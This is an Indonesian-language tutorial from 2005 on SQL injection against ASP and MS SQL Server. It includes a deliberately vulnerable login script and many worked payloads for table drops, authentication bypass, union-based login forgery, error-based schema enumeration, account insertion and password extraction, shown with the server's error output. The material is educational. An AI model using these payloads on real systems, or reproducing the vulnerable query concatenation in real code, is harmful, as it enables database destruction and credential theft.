|
[103]. SQL INJECTION PADA
SISTEM KEAMANAN DATABASE
---------------------------------------------------------
Author : Muhammad Ilhamdi
Rusydi
Contact : -
CopyLEFT (c) 2006
www.spyrozone.net All Rights Reserved
» 20/10/2005 21:50:21 WIB
---------------------------------------------------------
//--- DESKRIPSI ---//
Pesatnya perkembangan teknologi jaringan dan sistem penyimpanan database
sangatlah mempengaruhi kemajuan internet. Kemudahan-kemudahan yang diberikan
membuat user menjadi tergantung dengan teknologi jaringan. Tapi sayangnya
keamanan sistem informasi belum cukup memuaskan user yang membutuhkan data-data
yang akurat.
Salah satu teknik dalam mengganggu sistem database jaringan adalah dengan
menggunakan SQL injection. SQL injection adalah teknik memanipulasi perintah SQL
dengan memasukkan ke database server sehingga dapat dimanfaatkan untuk
mendapatkan informasi dan merubah database yang telah ada.
Pada makalah saya akan menjawab 3 poin di bawah ini:
1. Apa itu SQL?
2. Apa itu SQL injection?
3. Bagaimana SQL injection bisa terjadi?
//------- I SQL
SQL kependekan dari Structured Query Language, bahasa yang sering dipergunakan
untuk mengelola database relasional. Terdapat beberapa jenis SQL, salah satunya
adalah SQL-92. Merujuk kepada ANSI (American National Standar Institute), maka
SQL adalah bahasa standar untuk sistem manajemen database rasional.
Beberapa sistem database yang menggunakan SQL antara lain : Oracle,DB2, sybase,
MS SQL Server, Informix, Ingres, Interbase, PostgreSQL, MySQL, MS Acces.
Walaupun semua database yang disebutkan menggunakan SQL, kebanyakan mereka
memiliki perintah tambahan yang proprietary(hanya ada dan berlaku pada sistem
sendiri).
SQL sendiri memiliki 3 macam jenis perintah :
1. Data Defenition Language (DDL)
merupakan kelompok perintah yang digunakan untuk melakukan pendefenisian
database dan pendefenisian tabel. Dengan kelompok perintah dalam DDL inimaka
kita dapat membuat tabel, mengubah strukturnya, menghapus tabel, membuat indeks
untuk tabel, dan lain-lain yang bermuara pada pembentukan struktur database.
2. Data Manipulation Language (DML)
Perintah (statement) SQL digunakan untuk melakukan manipulasi data dalam
database, menambahkan (insert), mengubah (update), menghapus(delete), mengambil
dan mencari data (query). Perintah SQL standar seperti : select, insert, update,
delete, create, dan drop dapat digunakan untuk menyelesaikan tugas yang
diberikan berhubungan dengan data suatu database.
3. Data Control Language (DCL)
Termasuk dalam DCL adalah perintah untuk melakukan pendefenisian pemakai yang
boleh mengakses database dan apa saja privilegenya. Fasilitas ini tersedia pada
sistem manajemen database yang memiliki fasilitas keamanan dengan membatasi
pemakai dan kewenangannya.
Pada bahasan kali ini kita akan mempalajari Transact-SQL, bahasa SQL yang
terdapat pada Microsoft SQL Server.
Berikut ini adalah query pada SQL yang sering kita pergunakan dalan SQL
injection :
Insert
INSERT INTO namatabel (field1 [, field2 [, …]])
VALUES (nilai1 [,nilai2 [,…]]);
Select
SELECT{*| field1 [, field2 [,…]]} FROM namatabel [where kondisi];
//------- II SQL inejction
SQL Injection dapat terjadi ketika seseorang dapat memasukkan serangkaian
perintah SQL dalam query dengan memanipulasi data pada aplikasi database. Kita
akan membahas beberapa teknik SQL injection yang umum ditemukan pada Microsoft
Internet Information Server/Active Server Pages/SQL Server platform. Terdapat
beberapa cara dimana SQL dapat diinjeksikan pada sebuah aplikasi.
Contoh dari SQL statement :
select id, forename, surname from authors
Perintah ini akan menghasilkan kolom 'id', 'forename' dan 'surname' dari tabel
'authors', dengan menghasilkan semua baris pada setiap kolom yang relevan pada
tabel tersebut.
Hasil yang diinginkan dapat lebih spesifik dengan menyebutkan 'author' seperti
di bawah ini :
select id, forename, surname from authors where forename = 'john' and surname =
'smith'
Hal utama yang perlu dicatat adalah kita telah memiliki batas-batas dalam
pencarian yakni dengan menyebutkan 'john' sebagai forename dan 'smith' sebagai
surename. Seakan-akan 'forename' and 'surname' field telah didapatkan dari user
yang memberikan input.
Seorang attacker dapat menginjeksikan beberapa SQL dalam query ini dengan
memasukkan nilai pada aplikasi seperti dibawah ini :
Forename: jo'hn
Surname: smith
Query akan menjadi seperti ini :
select id, forename, surname from authors where forename = 'jo'hn' and surname =
'smith'
Ketika database menjalankan query,akan menghasilkan suatu kesalahan seperti yang
ditunjukkan berikut ini :
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
Ini disebabkan karena dimasukkannya karakter single quote (tanda petik satu)
yang menyatakan breaks out. Selanjutnya database akan mencoba untuk mengeksekusi
'hn' dan gagal juga.
Jika attacker menspesifikasi data seperti ini :
Forename: jo'; drop table authors--
Surname:
Akan menyebakan tabel penulis akan dihapus. Ini dapat memberikan gambaran bahwa
beberapa metoda seperti membuang single quote dari input atau dengan mengabaikan
mereka dalam beberapa hal dapat memecahkan kasus ini. Tapi tidak semua itu benar,
karena masih terdapat beberapa kesulitan dalam aplikasinya. Pertama, tidak semua
user memasukkan data bertipe string. Jika user dapat memilih author dengan 'id'(yang
biasanya berupa angka), kita akan memiliki query seperti di bawah ini :
select id, forename, surname from authors where id=1234
Pada siatuasi seperti ini seorang attacker dapat dengan sederhana menambahkan
perintah SQL pada akhir dari input yang berupa angka. Beberapa delimiter juga
digunakan pada dialek(perintah khusus) SQL lainnya, seperti pada Microsoft Jet
DBMS, tanggal dapat diakhiri dengan karakter '#' character. Kedua, mengabaikan
single quote tidak permasalahan yang gampang.
Kita akan mengilustrasikan kasus di atas lebih jauh lagi dengan menggunakan
Active Server Pages (ASP) untuk 'login' , dengan mengakses SQL Server database
dan mencoba untuk masuk dengan autentifikasi yang tidak mungkin rasanya terjadi.
Berikut ini adalah kode dari halaman 'form' page, dimana user akan memasukkan
username dan password :
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100%
Page 4
width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Kode untuk 'process_login.asp' :
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str )
{
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn )
{
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password
= '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1>
<BR><BR>
<CENTER>AKSES ANDA GAGAL!!hehehe</CENTER>
</H1>
</BODY>
</HTML>
<%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>AKSES DIPERSILAHKAN...<BR>
<BR>
<% Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
cn.close();
}
Main();
%>
Poin terpenting disini adalah bagian dari 'process_login.asp' dengan query
string :
var sql = "select * from users where username = '" + username + "' and password
= '" + password + "'";
Jika user memasukkan hal berikut ini :
Username: '; drop table users--
Password:
Tabel user akan terhapus, dan akan memberikan kesempatan sehingga semua user
dapat mengakses ke dalam database. Kejadiannya adalah sbb :
· Karakter ';' menandakan akhir dari sebuah query dan awalan dari query yang
lainnya.
· Karakter '--' adalah single line comment dalam Transact-SQL. Karakter '--'
pada akhir dari kolom username dibutuhkan agar pada bagian ini query tidak
menimbulkan erro pada waktu dijalankan.
Attacker dapat log on (masuk) sebagai siapa saja, seakan-akan dia mengetahui
username dengan memberikan input sbb :
Username: admin'--
Attacker dapat juga log on sebagai user yang pertama pada tabel 'user' dengan
menggunakan input sbb :
Username: ' or 1=1--
Attacker juga dapat log in seakan-akan terdapat user yang sebenarnya tidak ada
di database dengan memasukkan input sbb :
Username: ' union select 1, 'fictional_user', 'some_password', 1--
Ini disebabkan karena aplikasi yang kita buat percaya bahwa baris yang konstan
dispesifikasikan oleh attacker adalah bagian perintah yang terdapat dalam
database itu sendiri.
//------- III Mengolah Informasi dari Error Messages
Untuk memanipulasi data dalam database seorang attacker harus dapat memahami
struktur dari database dan tabel. Contoh, tabel 'user' yang kita buat dengan
perintah di bawah ini :
create table users
( id int,
username varchar(255),
password varchar(255),
privs int
)
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
III.1 Mengetahui Nama dari Tabel dan Kolom
Seorang user sepertinya tidak mungkin dapat memasukkan account untuk dirinya
sendiri., tanpa mengatahui struktur dari 'user' tabel. Ataupun jika dia sedang
beruntung mungkin 'tabel_privs' tidak dihapus dan dapat dimanfaatkan sebaik
mungkin. Untuk seorang attacker error message yang dikembalikan dari aplikasi (biasanya
ASP mengembalikan)
attacker dapat mengetahui struktur dari database dan membaca setiap informasi
dari account ASP yang sedang digunakan untuk melakukan koneksi ke SQL Server.
Pertama attacker ingin membuat nama tabel dan field tempat query beroperasi.
Untuk melakukan ini attacker dapat menggunakan 'having' clause dari 'select'
statement:
Username: ' having 1=1--
Hal ini menyebabkan error sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in
the select list because it is not contained in an aggregate function and there
is no GROUP BY clause.
/process_login.asp, line 35
Sehingga attacker mengetahui nama tabel dan kolom pertama dari query diatas.
Mereka dapat melanjutkan pada kolom berikutnya dengan menggunankan perintah
sebagai berikut :
Username: ' group by users.id having 1=1--
Hal ini menyebabkan error sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is
invalid in the select list because it is not contained in either an aggregate
function or the GROUP BY clause.
/process_login.asp, line 35
Akhirnya attacker sampai pada username sbb :
Username : ' group by users.id, users.username, users.password, users.privs
having 1=1--
Hal di atas tidak menimbulkan error. Pernyataan tersebut sama dengan query sbb
:
select * from users where username = ''
III.2 Mengetahui Tipe dari Kolom
Hal tersebut akan lebih bagus jika dia dapat mengetahui tipe dari setiap kolom.
Hal ini dapat diperoleh dengan cara sebagai berikut :
Username: ' union select sum(username) from users--
Hal di atas menimbulkan error message sbb :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate
operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
Informasi tersebut menyatakan bahwa tabel username memiliki tipe varchar.
Berikutnya kita coba mengetahui tipe dari kolom lainnya.
Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in their
target lists.
/process_login.asp, line 35
Tipe dari kolom id adalah numeric.
Kita dapat menggunakan cara ini untuk mengetahui tipe dari semua kolom pada
tabel yang terdapat di dalam database.
Attacker dapat menggunakan insert query :
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Perkembangan teknik dari SQL injection tidak berhenti sampai di sini. Attacker
dapat mengambil keuntungan dari error message untuk mendapatkan informasi yang
berhubungan dengan database tersebut.
Attacker dapat mempergunakan query berikut ini untuk mendapatkan bentuk-bentuk
umum dari error message:
select * from master..sysmessages
Teknik di bawah ini dipergunakan untuk membaca harga pada tabel dalam database :
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000
00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on
Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
Attacker berusaha untuk mengkonversikan konstanta '@@version' ke dalam bentuk
interger karena kolom pertama pada tabel 'user' bertipe interger.
Attacker dapat membaca username pada tabel 'user' dengan cara berikut ini :
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Hal ini akan mengecilkan daerah pencarian karena username yang dibutuhkan lebih
besar dari 'a' dan mengkonversikannya ke dalam interger :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
Sehingga sekarang attacker akan mengetahui acoount dari 'admin' yang ada dalam
database. Sekarang dia dapat mengetahui informasi dari admin tersebut dengan
menggunakan klausa 'where' :
Username: ' union select min(username),1,1,1 from users where username >
'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'chris' to a column of data type int.
/process_login.asp, line 35
Ketika attacker dapat mengetahui username, maka dia akan terus untuk mendapatkan
password-nya :
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Teknik yang lebih indah lagi adalah dengan merangkai semua username dan password
pada single string dan merubahnya pada bentuk interger. Tapi hal ini cukup susah
dan belum berhasil saya lakukan.
//------- IV Kesimpulan
1. SQL kependekan dari Structured Query Language, bahasa yang sering
dipergunakan untuk mengelola database relasional, sehingga banyak digunakan
dalam aplikasi sistem database karena berdasarkan ANSI.
2. SQL injection merupakan suatu kegiatan yang menipu query dari database,
sehingga seseorang dapat mengetahui dan mendapatkan informasi yang terdapat di
sana. Praktek seperti ini merupakan ilegal jika kita melihat dari sisi sistem,
tapi adakalanya berguna,sehingga itu semua tergantung niat dari yang
melakukannya.
3. Seorang attacker dapat memanfaatkan pesan error yang dikirimkan server ketika
dia memberikan query-query ilegal untuk mendapatkan nama dan tipe dari kolom
pada tabel dalam suatu database
4. Terdapat 3 jenis serangan SQL injection :
a. Authorization Bypass.
Contohnya :
Username: 'OR "='
Password: 'OR "='
Masukan diatas berarti kita telah memberikan query sbb :
SELECT username FROM users where Username = "OR "=" AND password = "OR "="
b. Penggunaan perintah SELECT.
c. Penggunaan perintah INSERT.
//------- Referensi
[1] http://www.appsecinc.com/presentations/
Manipulating_SQL_Server_Using_SQL_Injection.pdf
[2] SQL Server Security Checklist http://www.sqlsecurity.com/checklist.asp
[3] Web Application Disassembly with ODBC Error Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc
[4] Chris Anley. Advanced sql injection in sql server application. Technical
report, NGSSoftware Insight Security Research (NISR), 2002.
/* ------------------------------|EOF|------------------------------ */
|